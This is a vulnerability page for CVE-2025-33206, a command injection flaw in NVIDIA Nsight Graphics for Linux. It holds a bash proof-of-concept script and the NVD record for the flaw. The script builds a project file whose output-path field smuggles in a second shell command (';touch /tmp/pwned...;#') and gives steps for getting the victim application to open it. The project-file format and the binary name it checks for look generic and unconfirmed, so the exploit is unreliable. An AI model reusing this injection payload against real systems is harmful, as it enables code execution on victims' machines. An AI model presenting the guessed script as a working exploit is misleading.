CVE-2025-33206

#!/bin/bash # CVE-2025-33206 PoC - NVIDIA NSIGHT Graphics Command Injection # This PoC demonstrates the command injection vulnerability in NVIDIA NSIGHT Graphics for Linux # Note: This is for educational and security testing purposes only echo "CVE-2025-33206 PoC - NVIDIA NSIGHT Graphics Command Injection" echo "=============================================================" echo "" # Check if NVIDIA NSIGHT Graphics is installed if ! command -v nvidia-nsight &> /dev/null; then echo "[-] NVIDIA NSIGHT Graphics not found" echo "[!] This PoC requires NVIDIA NSIGHT Graphics for Linux to be installed" exit 1 fi # Create a malicious project file that exploits the command injection vulnerability MALICIOUS_FILE="/tmp/malicious_nvproject" cat > "$MALICIOUS_FILE" << 'EOF' # Malicious NVIDIA NSIGHT project file # Contains command injection payload PROJECT_NAME="Test_Project" OUTPUT_PATH=";touch /tmp/pwned_$(date +%s);#" RENDER_TARGET="${OUTPUT_PATH}" EOF echo "[+] Created malicious project file: $MALICIOUS_FILE" echo "[+] Payload: Command injection via output path parameter" echo "" echo "[i] To exploit this vulnerability:" echo " 1. Open this file with NVIDIA NSIGHT Graphics" echo " 2. The injected command will be executed with user privileges" echo "" echo "[*] Expected result: A file will be created in /tmp/ demonstrating code execution" echo "" echo "[+] PoC file created successfully" echo "" echo "[!] Disclaimer: This PoC is for authorized security testing only"

{"cve": {"id": "CVE-2025-33206", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:41.690", "lastModified": "2026-02-02T16:15:27.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NSIGHT Graphics for Linux contains a vulnerability where an attacker could cause command injection. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and denial of service."}, {"lang": "es", "value": "NVIDIA NSIGHT Graphics para Linux contiene una vulnerabilidad donde un atacante podría causar inyección de comandos. Un exploit exitoso de esta vulnerabilidad podría conducir a la ejecución de código, escalada de privilegios, manipulación de datos y denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nsight_graphics:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.5", "matchCriteriaId": "36C711DD-0154-46EE-BC13-D6F3708DF57A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33206", "source": "[email protected]", "tags": ["US Government Resource", "VDB Entry"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5738", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33206", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}